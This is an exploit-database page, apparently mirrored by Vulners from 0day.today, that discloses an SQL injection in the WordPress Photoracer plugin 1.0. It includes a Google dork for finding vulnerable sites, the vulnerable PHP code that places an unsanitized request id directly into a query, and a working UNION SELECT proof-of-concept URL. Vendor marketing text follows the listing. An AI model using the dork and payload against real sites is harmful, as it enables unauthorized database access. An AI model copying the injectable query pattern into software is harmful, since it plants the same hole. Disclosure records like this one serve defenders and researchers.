Lucene search
K

WordPress Photoracer plugin <= 1.0 SQL Injection Vulnerability

🗓️ 26 Aug 2011 00:00:00Reported by evilsocketType 
zdt
 zdt
🔗 0day.today👁 16 Views

WordPress Photoracer plugin <= 1.0 SQL Injection Vulnerability in viewimg.ph

Code
# Exploit Title: WordPress Photoracer plugin <= 1.0 SQL Injection Vulnerability
# Google Dork: inurl:"wp-content/plugins/photoracer/viewimg.php"
# Date: 2011-08-26
# Author: evilsocket ( evilsocket [at] gmail [dot] com )
# Software Link: http://wordpress.org/extend/plugins/photoracer/
# Version: 1.0
 
---------------
Vulnerable code
---------------
 
[ viewimg.php line 16 ]
 
$imgid = $_REQUEST['id'];
$q1 = "select raceid, wpuid, imgid, imgpath, imgname, imgcomment, sumvotes, imgcountview, tinsert from ".
    $wpdb->prefix."photoracer where imgid=$imgid";  
 
$out = $wpdb->get_row($q1);
 
---
PoC
---
 
http://www.site.com/wp-content/plugins/photoracer/viewimg.php?id=-1 UNION SELECT 0,1,2,3,4,VERSION(),6,7,8



#  0day.today [2018-03-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Aug 2011 00:00Current
7.1High risk
Vulners AI Score7.1
16